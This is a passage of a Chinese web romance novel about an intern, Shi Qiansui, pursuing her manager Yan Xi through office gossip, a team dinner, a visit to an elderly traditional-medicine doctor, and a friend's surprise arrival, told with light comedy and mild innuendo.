嘶,时千岁揉了揉自己的额头。
周琦琦露出一只眼,指了指其中的红血丝,“被工作日的,浑身无力,灵魂升天,见谅。”
一大早就被此等污言秽语荼毒时千岁拿起外套盖到她头顶,“安息吧。”
周琦琦抬了下手,又无力的垂了下去,“想知道这几天的八卦就看群里。”
时千岁拿起手机打开微信。
几个群聊右上角都显示着未读小红点,朋友圈消息也显示99+。
时千岁先点进朋友圈,挑重点查看。
【我怎么这么穷,啊啊啊啊!】
“时来运转”:知道错了吧?
“千古第一大美人”(备注妈妈):让小言养你。
“时来运转”回复“千古第一大美人”:老婆你这话我怎么觉得怪怪的?
时千岁也觉得怪怪的,她继续往下看。
“千古第一大美人”回复“时来运转”:不是你拜托小言照顾千岁么?
“霸道且总裁”(备注时千金):“照顾”等于“养”?
“千古第一美人”:
“时来运转”:
时千岁:“”
“嗡嗡”手掌中的手机震了震,屏幕中弹出了“霸道与总裁”的私聊。
时千岁每次看到她姐的网名都会两眼一黑。
“霸道与总裁”:【缺钱了老妹儿?】
“嘶”时千岁眼角一阵抽搐,指尖狠狠敲击着屏幕回道。
【我命油我不油天,老姐你换个网名吧,当我求你了。】
“霸道与总裁”:【不帅吗?(挑眉.jpg),我偷偷给你银行卡里打了五百万,别告诉爸妈哦。】
前一句真不帅,但后一句真是帅到了没边。
【老姐你真是及时雨啊,感谢老姐送来的嫁妆,有车吗,来一辆“重点”要空间大的!】
“霸道与总裁”:【!!!时千岁,你是不是恋爱脑又犯了!!!】
时千岁嘿嘿一笑,无视了老姐的连环咆哮。
她点开了公司小群的聊天框,消息提示999+
这群人还真能聊,时千岁滑到了最开头,无比认真的爬起了楼,着重找生病这几天有关于“言浠”的八卦。
【今天林经理去了言经理办公室八次】
【今天林经理和言经理一起出去吃饭了】
【今天言经理收到了隔壁公司高管送的花,林经理生气了怒定999朵玫瑰可惜统统都被言经理扔进垃圾桶了。】
真没想到,林沐涵居然在她不在的日子发动这这么猛烈的进攻,但她还是得谢谢林沐涵。
感谢老铁为她排除了“送花”的错误选项,时千岁无比真诚的朝路过的林沐涵抛出了一个大大的微笑。
林沐涵扔给她一白眼,莫名其妙。
看她身影逐渐消失,时千岁忽然警觉,林沐涵去的方向是言浠办公室!时千岁从椅子上弹起来,抬腿便要追上去,衣角被身后周琦琦拉住。
周琦琦有气无力,“你干嘛去?别打扰我cp谈恋爱好么。”
“呸呸呸,什么都磕只会害了你!”时千岁心里这个后悔,早知道就答应了言浠转去她办公室了,现在可好,干瞪眼,和那姓孙的赌哪门子气呢,面子能有老婆重要?
时千岁心里涌起一团火,重重往椅子上一坐,话题指向了那罪魁祸首,“那姓孙的最近怎么样?”
周琦琦把桌上的废纸狠狠揉搓成了一团,抛进了垃圾桶,“没人性!惨无人道!令人发指!!!”
“你在找你事,你不在活都扔到了我们头上,你说孙晋咋那么悠闲呢?”
周琦琦把下巴垫到了桌沿上,眼睛注视着办公室门口动向,“还好,我们的苦日子马上要到头了。”
时千岁不解。
周琦琦双手合适朝空气拜了一拜,“多亏了人美心善的言经理。”
“刚刚工作群发了通知,你没看啊,西南那边项目工程验收工作突然换成了孙建仁,最少出差半个月,这可是苦差事,路途又远,气候又差,还要天天灰头土脸的下工地,还要夹在工程部和甲方中间挨骂哈哈哈哈,”周琦琦一脸崇拜,“言经理就是我的神。”
时千岁刚刚烧起的那把火在听到这条消息时消失的一干二净,她很直接的就把言浠的行为理解为了为她出气。
还玩“公报私仇”这一套,好宠,好腹黑,好喜欢。
不愧是她喜欢的女人!
周琦琦拉了拉捂着胸口一脸花痴的*时千岁,眼神示意她看门口。
孙建仁黑着一张脸,走起路来都带着一股子怨气,孙晋跟在他后边大气都不敢喘。
嘿嘿,时千岁突然站起身,脚步轻快地朝两人走去,表情那叫一个嘚瑟。
周琦琦一脸惊恐地看着她,心道,千岁一直这么勇吗
“你说言经理抽哪门子风,项目部没人了吗?临时换我去是什么意思?”
“跟有什么大病一样。”
“可能是看您能力强?或许是有意提拔您呢?”孙晋说。
“还是你小子会说话,”孙建仁脸色稍缓。
呵呵,敢当着她的面说言浠坏话?时千岁横跨一步,气势凶凶地杵在了两人中间。
孙建仁或是心虚,难得没发难,只是轻蔑的上下扫了时千岁一眼,便转头问孙晋,“票买好了吗?”
孙晋有些为难,“还没,时间仓促,头等舱”售罄了。
孙建仁有点不耐烦的打断了他,“你小子今天怎么回事?往常不是挺机灵的?”
时千岁沉思片刻,咧出一个生平最虚伪的笑,“这种小事,交给我做好啦。”
她眼神诚恳,一副急于表现的样子,“我来我来我来!”
孙建仁狐疑地看她一眼,心道吃错药了?
“等会我把行程发到您手机上。”
时千岁回到工位上,埋头选票,时不时露出一抹狡黠的笑。
周琦琦原以为时千岁那股气势是去干架的,谁能成想还谄媚起来了,回头没不做任何解释,越想越气忍不住了从身后过来,敲了敲她的桌子,“你怎么能背叛我们的革命友谊?说好的同甘苦共患难呢?哦姐妹为你扛大旗你转身把姐妹当猴戏是吧?”
时千岁关闭了手机屏幕,垂头闷笑了好一会儿,这才抬起头安慰处于爆发边缘的周琦琦。
“stop。”
时千岁挑了挑眉,“疑惑?”
周琦琦点头。
时千岁又是忍不住一整个笑出了声,“我确实给他订票了。”
“38小时。”
“火车硬座。”
“中间换乘五站。”
周琦琦眼睛一亮,朝她伸出大拇指,“我靠,铁腚啊!这不得掉层皮?”
“小美人你好刚,刚刚是小的声音太大了,还望您大人有大量。”
时千岁大度地挥挥手,“好说好说。”
周琦琦一脸崇拜的握住她的手,“小美人,从今天起你就是我第三个偶像。”
“偶像就偶像,还第三个?”
时千岁挑眉,“那我问你个问题。”
“如果我和林沐涵同时喜欢言经理的话,你跟谁?”
25
第25章
◎这小家伙似乎有一种与生俱来的能力,就是会把她说的话自动延伸出其他的含义◎
这句话怎么这么像“爸爸妈妈离婚,你跟谁”呢?
周琦琦皱着眉,一时之间卡了壳。
时千岁心道,有这么难抉择吗?
她换了种说法,“我和言浠以及林沐涵和言浠,你站哪对儿cp?”
哦,原来是这样,她还以为什么畸形三角关系呢,周琦琦不假思索,“当然是林经理和言经理。”
时千岁超级不爽,“说好的革命友谊呢?”
公司里外很多人背地里都会把言经理当成盲目崇拜的、幻想的对象,周琦琦已经司空见惯了,只当时千岁是众多幻想者其中一员,并未把她带有真情实感的试探当真。
周琦琦掰着手指头,一一列举,“两人阅历相仿、年龄相仿、能力相仿,颜值方面林学姐虽然稍有逊色,但有殷实的家境弥补啊。”
时千岁幽幽道,“我还年轻热情有生命力呢。”
“年轻不见得就是好,各各方面都不稳定,甚至未来都一片迷茫,你看哪个姐姐会因为贪图对方年轻选择向下兼容?”
时千岁虽然表面不以为意,但不得不承认周琦琦那句“未来迷茫”是对的,
周琦琦继续,“而你,我的小美人,关键最重要的一点,你还很穷,你没听说过一句话叫经济基础决定上层建筑吗?”
时千岁:“”
这她就有点不同意了。
周琦琦翻出手机,指了指,“我都看见你发的朋友圈了。”
“我那是”时千岁一时语塞不知道如何解释,“我好歹还有五六百个呢”
在周琦琦有限的认知里并没能把“个”和“万”两个字联系到一起,她在时千岁眼前挥了挥手,醒醒,“五六百够干啥?”
时千岁心一凉,也是,别墅都买不起。
周琦琦拍了拍她的肩膀以作安慰,“没事,我们还年轻,说不定哪天就发财了,苟富贵勿相忘,好姐妹一辈子。”
时千岁:“”
时千岁很快忘了这段插曲,她为了兑现和言浠保证的那句“我能行”的承诺全身心的投入到了工作中,连摸鱼的次数都大大减少。
一眨眼,到了下班时间。
没有孙建仁的世界,果然舒服又自在,时千岁伸了个懒腰,勾起包正打算开溜。
周琦琦和徐梦瑶叫住了她,“一起吃饭啊?”
时千岁目光往言浠办公室方向看了一眼,犹豫道,“今天?”
周琦琦往前一步勾住她肩膀,“嘶,姓孙的走了,不得庆祝庆祝啊?再说你拒绝我们几次了?说好的革命友谊呢?”
好像确实有点过分了,况且她答应过要请客的,时千岁大手一挥,非常豪迈,“想吃什么?”
周琦琦举手,“烧烤啤酒,小龙虾!”
徐梦瑶嗫嚅道,“我我都行。”
啧,真会点,正和她意,时千岁打了个响指,“这你们就找对人了,今就带你们吃北城最牛的小龙虾。”
三人一拍即合。
刚出了办公室门口,正巧遇到言浠迎面走来。
刚还叽叽喳喳不停的周琦琦一下子闭上了嘴巴,整个人都变得拘谨了起来。
“言经理好。”
言浠淡淡地“嗯”了一声,目光不经意间扫过勾在时千岁肩膀上的手,眉心一皱,“去哪儿?”
周琦琦被这骤然变冷的语调刺了一下,下意识收回了手后退了一步,“吃饭”
时千岁急忙跟上一句,“一起吧?”
“不必了,”言浠转身离开。
时千岁刚要追过去,就被周琦琦小动作拦下,“还是别了”
时千岁不满地瞪她一眼,小跑上前去拦住了言浠,身子微微向前探用只能两个人听到的声音再次向她提出邀请,“言浠姐,我们不是说好以后一起下班一起回家,无论去哪里都要一起?”
“嗯?”这小家伙似乎有一种与生俱来的能力,就是会把她说的话自动延伸出其他的含义,言浠望向她因期待而越发明亮的眼睛,心中竟生出些许不想反驳的的念头,她耐下心解释,“晚上还有个线上会议。”
看着小家伙失望的神情,言浠心里莫名紧张起来,急忙补充,“到小区门口给我打电话,我下去接你,还有,不要太晚回家。”
“知道了”
几人乘车去了北城最繁华的商圈,排队等号中,时千岁闷闷不乐,显然还是在回想刚刚周琦琦对言浠的态度。
周琦琦费力的从两个壮汉中间挤过来,以手做扇,驱赶闷热,“这破天!”
“千岁,瑶瑶,你两喝啥?我去买。”
时千岁:“随便。”
徐梦瑶:“我我都可以”
“嘿,”周琦琦伸出手掌在时千岁眼前挥了挥,“怎么了我的小美人,不开心?”
时千岁向来心里憋不住事,闻言,抬起眼,“刚才我叫言经理,你为什么拉住我?她不是你偶像吗?”
“额,这个啊”周琦琦拉了把小板凳过来,一屁股坐到她身边,“你见过哪个偶像亲自下台跟粉丝同桌吃饭的?”
时千岁对这个解释十分不满。
周琦琦又道,“不是不愿意带她,是言经理平时太严肃了,我们有点怕她不光是我,”她急忙拖一旁的徐梦瑶下水,“对不对?”
见徐梦瑶点点头,时千岁眼神一黯。
周琦琦拍了拍她的肩,“不过这也是没办法的事,身在高位要是天天跟员工混在一起,哪还有威慑力。”
可她就是想言浠能被所有人接纳,不再那么孤独。
时千岁想。
“116号可以进来了。”服务员扯着嗓子喊了一声。
周琦琦挥挥手,“这里这里这里,”推了推时千岁肩膀,催促道,“好啦,下次一起,你们先进去点单,”说完一溜烟蹿向了一旁的便利店。
入桌后,时千岁熟练的同服务员报菜名,“大份蒜蓉龙虾、大份避风塘龙虾,再来一份”
徐梦瑶急忙制止她,“我们就三人吃不完。”
“没事,招牌么都尝一下,”时千岁又继续,“油焖的,十串油边,再来十串羊肉你看看你想吃什么”她要了份菜单递给徐梦瑶,“想吃就点,不用给我省钱。”
时千岁打开手机,点开和“两个爱心”的聊天框,把刚刚的菜名又打了一遍,问:【想吃什么我给你带?】
徐梦瑶趁她低头发消息之际,把菜单反扣到了桌子上,偷偷的把她面前的餐碟拿过来用热水烫好,摆了回去。
服务员把菜品一一摆上餐桌。
徐梦瑶把一次性手套带在手上,拾起一只,不太熟练的扒起了壳,“千岁,最近工作还好吗?”
时千岁疑惑地抬了下眼皮,“嗯?这话问的,”都工作了,还能好到哪里去?
“不不不”目光短暂相接一瞬,徐梦瑶耳尖倏地红了,一紧张,手指不小心被坚硬的虾壳扎了一下,她倒吸一口凉气,忍下疼痛继续解释,“我意思是还有人难为你吗?”
时千岁不以为意,“我像是那么好欺负的人吗?”
“不是,”徐梦瑶头摇成拨浪鼓,“我是想跟你说声谢谢。”
“都是我的错不然你也不会”
时千岁不满地瞪了她一眼,“被欺负”这三个字被她咬回了口中。
“小事,换作是谁我都会管,”毕竟是自家公司,时千岁说。
是这样么,徐梦瑶眼底流露出一丝失落,又在时千岁望过来之前强行压了回去,她笑笑,重新找了个话题,“那上次开会说的碧水国际的宣传方案你做了吗?”
时千岁刚回道,“还没什么思路,”周琦琦的大嗓门出现在两人身后,“我来啦~”
周琦琦带着一身热气,往空椅子一瘫,“这么美好的时光,谈什么工作?再说那破玩意直接搬运AI就好了,费什么脑子。”
时千岁却不想投机取巧,AI只能作为辅助工具,永远不可能代替人类的智慧。
周琦琦指了指桌子上的便利袋,“瑶瑶,俺不中勒,快给我拿一瓶续命小甜水。”
徐梦瑶从中拿出三瓶啤酒,用起子打开瓶盖,分别递给二人。
周琦琦接过,对瓶猛灌一大口,冰冷液体入喉,舒服地打了个激灵,“爽。”
时千岁:“”
“这是续命小甜水?”要命才对吧
她摆手拒绝,捞起一串油边,小口咬了一块,“我不喝酒。”
周琦琦“嘶”了一声,“当代年轻人哪个不喝酒啊,晚上来杯小酒整个世界都亮了,我将和所有不愉快握手言和!”
徐梦瑶默不作声的把时千岁面前的啤酒拿走,放到自己面前,对周琦琦讲,“千岁不喝我陪你喝就好了。”
“对了,千岁你平时有什么兴趣爱好?”徐梦瑶把扒好的虾,放到了时千岁盘中。
“怎么这么关心我们小美人啊?是不是喜欢她?”周琦琦喝了口啤酒,揶揄道,“想投其所好?”
“怎么可能!”徐梦瑶慌张的否认,不小心又被小龙虾扎破了手指。
“哈哈哈哈,我就开个玩笑。”
时千岁从中抓住了一个极其重要的信息。
——投其所好!
她怎么没想到呢!
时千岁兴奋地一拍桌子,目光不经意间留意到了徐梦瑶捂手指的动作,“笨。”
徐梦瑶:“啊?”
时千岁拿过一次性手套,捞起一只虾,展示给徐梦瑶看,“先把虾头和尾巴去掉,捏住中间的身子,用力一拉,虾肉就褪出来了,懂了没?”她顺势把虾肉放进了徐梦瑶的盘子。
“懂了”徐梦瑶脸颊微红,露出一抹羞涩的笑。
周琦琦心大地伸出手,“我也要!”
时千岁一视同仁,也给她扒了一只
吃完饭,时千岁给两人拦车,送徐梦瑶上车后,去拉抱着电线杆转圈的周琦琦。
周琦琦一边发懵一遍嘟囔,“俺不中嘞。”
“瑶瑶真是人不可貌相,酒量真是那个啊!”
时千岁心里吐槽,“还不是因为你菜才两瓶啤酒就这样。”
出租车停到二人面前,时千岁费劲地给她拽上车,气喘吁吁,“我先给你送回去”
待两人坐稳,司机油门一踩,出租车驶入了茫茫夜色。
舒服的晚风涌入车窗,周琦琦醉意缓解不少,她掏出手机,轻轻点击屏幕。
时千岁兜里的手机震了震。
“3个人650,瑶瑶的发我了,我一起转给你,440块,你记得收。”
什么意思?时千岁有些气恼,“说好的请你们,是不是不拿我当朋友!”真当她很穷吗
周琦琦连忙坐直了身子,神情认真,“不是这个意思,友情怎么能用金钱衡量呢?”
“我们同为实习生,AA很合理。”
“这也是徐梦瑶主动要求的,千岁你换位思考一下,她的家庭条件不是很好,如果我们一味的付出她会有很大的心理压力,久而久之这段关系就会垮掉。”
“友情也好,爱情也罢,都是一样。”
虽然但是,好像很有道理的样子,时千岁有点被说服了。
她想,所以这也是言浠不愿意接受自己对她的好的原因吗?
送完周琦琦,时千岁回到家才八点出头。
言浠卧室门依旧紧闭,时千岁拎着保温袋走到她卧室门前,屈指敲了敲。
“言浠姐,我回来了,我给你带了份避风塘。”
里边发出一声听不出任何情绪的“嗯”字。
时千岁不太想这么结束对话,又说,“你出来呗,凉了就不好吃了。”
“放外边,我不饿。”
今天一整个白天没见到言浠,下班就只打了一个照面,一晃又是几个小时,时千岁心里的思念快要溢出来了,不管不顾地把手搭到了门把手上,用力一拧。
纹丝不动。
时千岁:“”
怎么还锁门了,防贼呢?
门内依稀一声轻笑。
时千岁:“???”
知道了,故意的是吧!
也不知道整天猫在卧室干什么,神神秘秘的,时千岁“哼”了一声,脚跟一转走向了侧卧。
不见就不见。
她时千岁也是有骨气的!
只不过这骨气维持了还不到半个小时。
时千岁洗完了澡,又出现在了言浠门口。
她给自己找了给无法拒绝的理由。
“言浠姐,我有点工作上的事请教你,你开下门呗。”
时千岁听了听里边的动静,继续说道,“就是我们上次开会要求实习生参与碧水国际商圈的策划,我想问问你有没有相关资料?我有点无从下手。”
里边传来一阵脚步声,时千岁趁言浠开门之际强行压下了嘴角笑意。
言浠深深打量她一眼,见神色无异,这才开口,“我去找找看。”
时千岁趁她转身功夫,飞速往屋里一扫,一眼就看见了床头柜上摆放的酒。
时千岁脑海里突然蹦出了四个大字。
——投其所好。
她踮起脚尖,轻轻地挪进了房间。
关门上锁,动作一气呵成。
“言浠姐,漫漫长夜,要不我陪你喝点酒吧?”
言浠闻言迅速转身。
脸上是前所未有的惊恐。
上次醉酒场景历历在目,“喝酒?你是疯了吗!!!”
言浠横跨一步,抓起桌上的酒,“嗖”地扔进了垃圾桶。
“我戒了!”
时千岁:“????”
26
第26章
◎有本事床上绑啊,假把式,就知道吓唬人◎
不是,什么意思啊?她都舍命陪君子了,还想怎样啊?时千岁这次真的是有点恼了,越想越委屈,泪水控制不住的在眼眶里打转。
“我不想理你了,”甩下这句话,时千岁抹了把眼泪夺门而出。
言浠:“”
这小家伙什么酒品心里一点数没有吗?
无奈叹了口气,言浠转身坐回到了电脑前,她把关于碧水国际项目从立项开始的所有资料调出来,整理好,打印了一份出来,给时千岁送了过去。
“叩叩叩”
继续对着墙壁生闷气的时千岁动了动耳朵。
情绪不高地问了句,“有事吗?”
她也想说没事别敲门这种冷漠的话,但到了嘴边,怎么也没能说出口。
门外人顿了两秒,说,“我把资料给你放在门口。”
接着就是一阵脚步声渐渐远离。
时千岁:“!!!”
这就完了?这女人都不知道哄哄自己的吗?
这以后谈了恋爱她还不得委屈死!
时千岁气得对着空气狠狠咬了咬牙。
客厅传来一阵窸窸窣窣。
时千岁听到动静支起了身子,但仅有的骨气还是成功的压制住了她的好奇心。
不多时,敲门声再次响起。
言浠说,“小龙虾我热了一下,要不要再吃点?”
“不吃!”
说完这句,时千岁动了动耳朵,察觉人还没走,突然间福至心灵,问道,“言浠,你是不是在哄我?”
门外沉默了一瞬,说道,“算是吧。”
时千岁闻言一喜,来不及趿上拖鞋,一阵小跑,闪现到了门口,探出了个脑袋,“好吧,那我原谅你了。”
言浠看着眼前人绽出的笑颜,错愕一瞬,这小家伙情绪变化这么快的嘛?
时千岁挑了挑眉,说出了后半句,“不过,你明天要跟去我约会。”
言浠一愣,重复地咬了遍这两个字,“约会?”
“啊呀,”时千岁面上羞赧,推了推她,“就是陪我一天。”
“我们说好了,”不等言浠回话,时千岁便快速关上了门。
她跌回床上,整个人钻进了毯子里,从床头滚到了床尾,又从床尾滚到了床头,持续着这个动作,待体力耗尽又在心里的尖叫了好几声
翌日。
时千岁顶着两黑眼圈来到了公司。
一想到和言浠约会,她居然兴奋的有些睡不着,辗转反侧大半宿直到天亮,才短暂地闭了会眼。
“我补个觉,”时千岁知会周琦琦一声,便把抱枕抱到了怀里,调整了个舒服的姿势睡了过去。
孙建仁一走,同事们对她睁一只眼闭一只眼,时千岁这一觉睡到了中午。
她伸了个懒腰醒了醒盹,拿起手机那么一看,心中顿时升起了一股紧迫感。
距离约会只剩几个小时,她还没做攻略呢!
时千岁打开手机查找附近适合约会的地点,又摸出一笔记本,在上边认真的做起了笔记。
烛光晚餐加看电影?时千岁首先在心里排除了这个选项,太俗套了,两人第一次正式的约会一定要深刻,最好刻骨铭心的那种。
欢乐谷过山车摩天轮?这个绝对足够刻骨铭心,因为她一定会被吓进医院,时千岁心里猛地摇了摇头。
她一下午都在专注的做着这件事,一度忘记了时间,甚至连言浠什么时候站到了她身后都不知道。
言浠叫了她好几声,时千岁才猛然抬头。
“你什么时候来的?”
她胡乱的把笔记本收好,站起身,“我们走吧,我等会带你去”
言浠出口打断她,“今天我带你去一个地方。”
啊,时千岁刚刚查找到附近一个露营地,在不远的景山风景区,听说那里风景秀丽气候怡人,有一眼望不到头的花田,微风拂过花香四溢,如果时间太晚,她们可以租个帐篷,晚上看着满天星子诉说心事,白天相约而起一同见证北城最美日出,远离城市喧嚣,足以忘记一切烦恼。
而且据说,今晚有百年难得一见的狮子座流星雨,绮丽壮观,绝对足够深刻。
没有按照计划进行,时千岁虽然有点不甘,但此时内心更多的是期待。
她眨了眨眼,乖乖道了一声,“好啊。”
离开公司。
言浠驾车往回家之路相反的方向行驶。
时千岁偏过头,望着车窗外匆匆闪过的街景,好几次想开口问言浠去哪里,又强行忍住。
黑色丰田在车流里穿梭,五十分钟后从主干道拐入了一条辅路。
放眼望去四周是一片古风建筑,红墙黛瓦,绿柳周垂。
车子沿着小路一路前行停到了一座老宅大门前。
言浠绕过来替时千岁打开了车门,“下车,到了。”
时千岁目光越过眼前人看到大门牌匾上的“回春堂”三个大字,浓浓的熟悉感涌现心头。
如果没记错,她那些苦兮兮的药汤子就出自于这里。
美好的期待,瞬间化为泡影,时千岁鼻头发酸,指着眼前人接连质问,“你就是带我来这约会的?”
“你是不是把前两天我生病这事告诉时千金了?”
“是不是她叫你带我来的?”
“哇,言浠你这个叛徒!”
“你居然跟她狼狈为奸?”
言浠看着她逐渐变红的眼睛,几不可察地勾了一下唇角,几乎同时抬起手臂,使出了惯用伎俩。
被捏住双唇的时千岁:“唔唔唔唔唔唔!”
有本事用嘴堵啊!
言浠居高临下地睨着她,挑了挑眉,“我没有陪你吗?”
时千岁双手紧紧地拽着车门,极力的用眼神表达着愤怒,“唔唔唔唔!”
言浠好言相劝:“来都来了。”
时千岁:“唔唔唔唔!”誓死不从!
言浠逐渐失去耐心:“别逼我绑你”
时千岁挑眉。
不信!
言浠冷笑一声,一弯腰,拉开了副驾驶的储物箱从里边拎出一条粗大的麻绳,在时千岁眼前晃了晃。
时千岁一时震惊。
谁家好人在车里放绳子啊。
言浠贴近一步,往西北方向的阴暗之处指了指,慢悠悠道,“你知道沿着这条小道走到头是什么吗?”
时千岁顺着手指方向一看,小心脏猛地一颤,紧跟着摇了摇头。
言浠压低了声音,贴着她耳朵说,“野坟。”
“不听话就把你捆起来扔进去。”
言浠本就偏冷的声调加上那张没什么表情的脸,大大提高了话中的可信度,时千岁瞬间脸色发白、汗毛树立。
她急切地抓住言浠的手臂,拼命摇晃,大有求饶之意。
小家伙真不禁逗,稍微一逗变成了红了眼的小兔子,可爱,言浠放开手,转身之际嘴角流转出来的笑意压都压不住。
言浠放开她,时千岁揉了揉发红的唇,极其不情愿的跳下车,跟在她身后,嘴里念叨着,“玩这么花还捆绑,有本事床上绑啊,假把式,就知道吓唬人”
言浠回头看她一眼,“什么?”
时千岁带着一身怨气,“我说我全身上下就剩嘴,你绑我就给你跪,开心了吧”
言浠:“”
这小家伙在胡言乱语些什么。
跨过高高的门槛,踏入铺满青石的院落,青砖灰瓦垒叠的门楼映入眼帘,飞檐如苍鹰敛翅,翼角处蹲踞的瑞兽,正昂首向天,入门牌匾刻有“妙手回春”四个大字,两旁古树参天。
两人来到门前,言浠轻轻敲了敲。
虚掩的门扉中飘出了一道中气十足的声音。
“时家的丫头吗?”
言浠替时千岁回了一声,“是。”
“进来吧。”
两人进门,一位身着白色练功服的老者盘坐于床榻上,满头银丝,却面色红润。
时千岁闷闷地打了声招呼,“王奶奶。”
王老是国内赫赫有名的中医,出生于中医世家,自幼跟随父亲习得医术如今已有七十余载,这些年广收弟子发扬传统医术,随着弟子们逐渐独当一面,她正式隐退,定居于此。
王老如今不再接诊,但私交甚好的除外。
比如眼前时来运的小女儿就是其中一位。
时家小女儿从小就很可爱,像个洋娃娃,笑起来时还有两个小酒窝,王老喜欢的紧,一度考虑跟时来运商量认个干孙女,如果不是每次见她就哭的撕心裂肺的话
这次也不例外,虽然没哭但脸色依旧不好看。
难不成她是什么恐怖的老东西吗?王老猛地抓起一旁小铜镜仔仔细细端详着,一照就是十分钟。
被晾在一旁的言浠:“???”
时千岁幽幽开口,“习惯就好,臭美不分年龄。”
终于,王老放下了镜子,露出一个自认为和蔼的笑,“千岁小丫头,想我了吗?”
时千岁内心深处对医生有着本能的恐惧,她抿了抿唇,沉默不语。
王老:“”
她语气柔了柔,“听说前两天身子又犯毛病了?”
王老摸出一个木盒,展开,露出里边明晃晃的银针,“要不来上几针吧?”
时千岁目光一震尖叫出声,连退几步,躲到了言浠身后,紧紧攥住了她的衣角。
言浠转过身,看这眼前人因恐惧而微微发颤的眼睫,心中莫名涌出了一丝不爽,她强势的把时千岁揽进了怀里,声音一沉,“您能别吓她吗?”
怎么说话呢什么叫吓?当真不知道外边多少人求她施针吗?王老委屈。
言浠掰开时千岁的手指,掌心握了上去,温柔的指腹一下又一下的摩挲着她的手背,做着无声的安抚。
时千岁慢慢平静下来,后知后觉,感受到近在咫尺的柔软,心脏开始狂跳。
言浠见她停止颤抖,松开了腰间的手。
时千岁暗自惋惜,心底长长叹出一口气。
怎么不多抱会?早知道刚刚哭出来就好了。
“麻烦您替她诊下脉,开几副药吧。”
王老见时千岁情绪好转,也顾不得委屈,急切的向她招招手,“过来吧丫头。”
时千岁不情不愿地走上前,把手腕放到了脉枕上。
王老探出两指,虚虚一搭。
须臾,睁开眼,持起毛笔,大手一挥,一张字迹隽秀的药方呈现纸上。
她唤管家进房,交代了其中注意事项。
管家领了方子前去抓药。
等待间隙。
时千岁突然想起言浠的睡眠问题。
于是破天荒的向王老展开笑颜,“王奶奶,你能不能帮我这位朋友看看?”
小丫头第一次冲她笑居然还是因为旁边这人,王老心里打翻了醋坛子,加上刚刚这人言语间的责怪,她气还没消。
王老拒绝的很干脆,“不可能。”
“怎么不可能,为什么不可能?”时千岁追问。
她可是大佬,肯定是有脾气的。
“哼。”
时千岁换了种策略,大着胆子上前,亲昵地挽住了她的手臂,甜甜地唤了一声,“好奶奶,求求您了~”
“您就看看呗,您看您医术这么高明,简直就是当代华佗啊。”
王老心都要化了,马上点头如捣蒜,“好说好说。”
时千岁拉言浠上前,认真鞠一躬,“祝您长命百岁!”
王老替言浠把脉。
片刻,悠悠开口,“是不是没有过性、生活?”
时千岁“嗖”地转过头,目光晶亮。
言浠面色一沉,语调拉高了几分,“跟这有什么关系!”
王老哈哈笑,“你看吧,肝郁化火,难怪这么暴躁。”
“入睡难容易醒,口苦口干,眼周干涩对吧?”
时千岁抢答,“对对对。”
“还时不时头痛。”
王老:“睡眠好,一切自通。”
“那怎么办?”时千岁问。
王老手一摊,“泄火啊,疏通好保证一觉睡到昏天暗地。”
时千岁继续抢答,“那那那怎么泄火?”是她想的那样泄火吗?
眼神一对,王老俏皮地眨眨眼,“对喽。”
时千岁激动举手。
那我可以!!!
27
第27章
◎跟你姐学啊,直接点,睡了她◎
“那我”时千岁看着言浠越来黑的脸,把“可以帮你”四个字咽回到了肚子里。
直觉告诉她如果真的说出口,言浠真能把她扔在这荒郊野外。
言浠厉声喝道,“我不需要!”
转身便往外走。
言浠步子越迈越快,长发遮掩下的耳尖越来越红,几乎滴出血来。
时千岁提上熬好的中药,抬腿便追。
王老跟着来到院子里,叫住了她,往她手里塞进一张药方,“给那丫头的,跟她讲以后不要喝酒了。”
“那丫头身体底子好,调理一两个月就差不多了,”皮一下心情大好,王老特意多嘱咐了几句。
看着言浠身影逐渐消失,时千岁朝王老挥了挥手,急迫地追了出去,“再次祝您长命百岁~”
汽车轰鸣声响起。
王老笑容突然散去。
她朝着空荡荡的院子呸上三呸。
高呼:“什么长命百岁!我今年都83了,我还想活一百年呢!”
一次败两次败次次失败,就连约会也失败,时千岁如今彻底没了招。
终于决定放下面子场外求助。
她翻看着联系人,把指尖定格在了大春头像上,一番犹豫,又划走。
这个大春也就只会求助她的“魔镜”,不靠谱。
不行求助热心网友,她微博那么多粉丝。
才一打开微博,那条“秀恩爱”的博文便映入了眼帘。
时千岁:“”
牛都吹出去了!
算了,pass。
时千岁又寄希望于她老姐,毕竟她老姐以前那么风流。
【姐姐,你以前为什么有那么多女朋友?】
“霸道与总裁”:【不知道啊,都是她们主动和我去开房。】
“”
时千岁默默暗灭了手机。
就在她陷入一筹莫展之际,家里迎来了一位客人。
星期六的下午,还在睡午觉的时千岁被一阵阵敲门声吵醒,睡眼惺忪的前去开门。
大门一开,门外倚着一个姿态妖娆的红发女人。
时千岁瞬间瞌睡全无,警惕道,“你哪位?”
不会又是情敌吧?
“嘶”韩曲凌把墨镜往下一勾,指了指自己的脸,诧异道,“你一点印象没有了?”
有点眼熟,但想不起来,时千岁仍没有放下戒备。
韩曲凌围着时千岁转了几个圈,不住的“啧啧啧”,又趁其不*备钻进了房间,她把行李箱往客厅中央那么一扔,人已经飘到了厨房。
哇哦,成双成对的碗筷。
韩曲凌又围着客厅转悠几圈,下一秒,人飘到了浴室。
哇哦,洗漱用品也是情侣的。
时千岁眼见拦不住,大喊一声寻求帮助,“言浠姐,快出来!家里来了个怪姐姐。”
韩曲凌“嗖”的闪现到她眼前,两眼放光,问,“你俩在一起了?”
嗯?看这表情,难不成…是友军?
时千岁眉眼一弯,友善地伸出手,大有一副女主人的架势,“你好,请问怎么称呼?”
一道冷嗖嗖的声音代替韩曲凌回道,“叫她韩叔叔。”
太损了!韩曲凌卡出一口老血。
时千岁对言浠的话没有任何疑问,“韩叔叔好。”
韩曲凌心又是一梗:“”
这么乖巧的吗?
她脑海中浮现出四个大字“妻唱妻随”!
言浠后一步从卧室出来,冷声打断韩曲凌的浮想联翩。
“你来干什么?”
嘿嘿,韩曲凌笑,“上次不是说好了,要来北城玩,”那天韩曲凌在电话里听言浠讲,故事还有后续,言浠和小徒弟不仅在一家公司上班了,还同居了,这给她急的,立马找领导请假,该死的臭脸领导死活不批,一气之下她直接离职,这不,前脚才交接好工作,就马不停蹄过来了,生怕错过点什么吃不上热乎的!
韩曲凌狠狠吐槽了一下前领导,又笑盈盈道,“我打算去旅居,已经做好攻略了,北城的话我就呆三天。”
言浠乜她一眼,“所以呢?”
韩曲凌摆出一副可怜兮兮的模样,“我来的太急,只订到了明后天的酒店,收留收留我呗。”
鬼才信,言浠直接拉起了韩曲凌的行李箱往门口走,“慢走不送。”
韩曲凌急忙拉住扶手,“别这么无情啊,我可是你最好的朋友!”
